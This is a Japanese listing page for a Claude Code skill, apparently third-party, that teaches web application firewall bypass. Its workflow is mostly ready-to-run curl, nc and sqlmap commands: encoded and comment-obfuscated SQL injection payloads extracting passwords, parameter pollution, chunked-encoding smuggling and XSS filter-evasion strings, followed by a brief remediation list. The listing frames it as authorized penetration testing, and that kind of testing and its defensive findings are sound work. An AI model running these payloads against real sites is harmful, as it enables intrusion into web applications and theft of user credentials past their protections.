mcpField
P
performing-web-application-firewall-bypass

performing-web-application-firewall-bypass

github.com/mukul975セキュリティ35.2k296 回インストール8 週間前に更新
リポジトリ

performing-web-application-firewall-bypass について

許可を得たペネトレーションテスト担当者向けの WAF 回避スキルです。WAF の特定、回避手法の検証、評価結果の記録を扱います。

主な機能

  1. 01WAF の特定とフィンガープリント
  2. 02エンコードと難読化の適用
  3. 03HTTP メソッドとプロトコルの検証
  4. 04パラメータ汚染によるペイロード分割
  5. 05SQLMap tamper スクリプトの利用
  6. 06XSS フィルター回避の評価

活用シーン

  1. 01確認済み脆弱性が WAF に阻止されるか確認
  2. 02カスタム WAF ルールの網羅性を評価
  3. 03レッドチーム演習で境界防御を検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-web-application-firewall-bypass

インストール後、Claude Code で/performing-web-application-firewall-bypassを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

Web アプリケーションファイアウォールのバイパス

使用する場面

  • 確認済みの脆弱性が、WAF のシグネチャベースの検出によってブロックされる場合
  • WAF によって既知の問題の悪用が阻止される状況でのペネトレーションテスト
  • 回避手法に対する WAF ルールの有効性を評価する場合
  • 境界セキュリティ制御のバイパスが必要なレッドチーム演習
  • カスタム WAF ルールの網羅性とバイパス耐性をテストする場合

前提条件

  • SQLMap との連携機能を備えた Burp Suite Professional
  • WAF のフィンガープリント取得と特定に使用する wafw00f
  • WAF の自動バイパス用タンパースクリプトを備えた SQLMap
  • WAF の検出メカニズム(シグネチャ、正規表現、振る舞い)に関する理解
  • 攻撃の種類ごとのエンコードおよび難読化手法の収集
  • 回避に利用できる HTTP プロトコルの細かな仕様に関する知識

ワークフロー

ステップ 1 — WAF の特定とフィンガープリント取得
# Detect WAF using wafw00f
wafw00f http://target.com

# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"

# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge

# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie
ステップ 2 — エンコードと難読化によるバイパス
# URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"

# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"

# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"

# HTML entity encoding in body
curl -X POST http://target.com/search \
  -d "q=<script>alert&#40;1&#41;</script>"

# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"

# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"

# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"

# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"

# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
ステップ 3 — HTTP メソッドとプロトコルのトリックによるバイパス
# Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"

# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80

# Content-Type manipulation
curl -X POST http://target.com/page \
  -H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
  -d "id=1' OR 1=1--"

# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
  -F "id=1' OR 1=1--"

# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80

# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
ステップ 4 — ペイロードの分割と HPP によるバイパス
# HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"

# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"

# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
  -H "Content-Type: application/json" \
  -d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'

# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt":"", "$where":"1==1"}}'

# XML-wrapped payloads
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d "<data><id>1' UNION SELECT password FROM users--</id></data>"
ステップ 5 — SQLMap のタンパースクリプトを使用する
# SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment

# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between

# Multiple tamper scripts combined
sqlmap -u "http://target.com/page?id=1" \
  --tamper=randomcase,space2comment,between,charunicodeencode \
  --random-agent --level 5 --risk 3

# Custom WAF bypass profile
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,randomcase \
  --delay=2 --random-agent \
  --technique=B --batch
ステップ 6 — XSS の WAF バイパス手法
# Case variation
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"

# Event handler alternatives
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"

# JavaScript URI scheme
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"

# Template literal syntax
curl "http://target.com/page?q=<script>alert\x601\x60</script>"

# Concatenation-based bypass
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"

# HTML encoding within attributes
curl "http://target.com/page?q=<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>"

# Double encoding
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"

主な概念

概念説明
シグネチャ回避ペイロードを難読化し、WAF の正規表現パターンとの一致を避けます
エンコードによるバイパスURL、Unicode、または HTML エンコードを使用して、悪意のある文字を偽装します
プロトコルレベルのバイパスHTTP プロトコルの機能(チャンク転送エンコード、メソッドの上書き)を悪用します
タンパースクリプト特定の WAF ルールを回避できるようペイロードを変換する SQLMap モジュールです
Content-Type の混同WAF が検査しない、想定外の Content-Type でペイロードを送信します
パラメーターポリューション重複するパラメーターにペイロードを分割し、パラメーターごとの検査を回避します
振る舞い検出とシグネチャ検出WAF の検出モードです。パターンマッチング(バイパス可能)と異常検出(より困難)があります

ツールとシステム

ツール目的
wafw00fWAF のフィンガープリント取得と特定
SQLMapWAF バイパス用タンパースクリプトを使用した SQL インジェクションの自動化
waf-bypass.comコミュニティが管理する WAF バイパスペイロードのデータベース
Awesome-WAFWAF バイパス手法をまとめた GitHub リポジトリ
Burp Suiteペイロードの手動作成と WAF の応答分析に使用する HTTP プロキシ
XSStrikeWAF の検出とバイパス機能を備えた XSS スキャナー

よくあるシナリオ

  1. JSON 経由の SQLi — WAF ルールで検査されない JSON リクエストボディ内に SQL インジェクションペイロードを含めて送信し、WAF をバイパスします
  2. イベントハンドラー経由の XSS — WAF のシグネチャルールでカバーされていない代替 HTML イベントハンドラー(onpageshow、onanimationstart)を使用します
  3. エンコードの連鎖によるバイパス — 複数層のエンコード(URL + Unicode + HTML エンティティ)を適用し、WAF の各デコード層を回避します
  4. チャンク転送によるバイパス — 悪意のあるペイロードを HTTP のチャンク転送エンコードのセグメントに分割し、パターンマッチングを回避します
  5. メソッドの上書き — WAF が検査しない PUT/PATCH メソッドまたはカスタムヘッダーを介して攻撃ペイロードを送信します

出力形式

## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes

### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |

### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |

### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation

コメント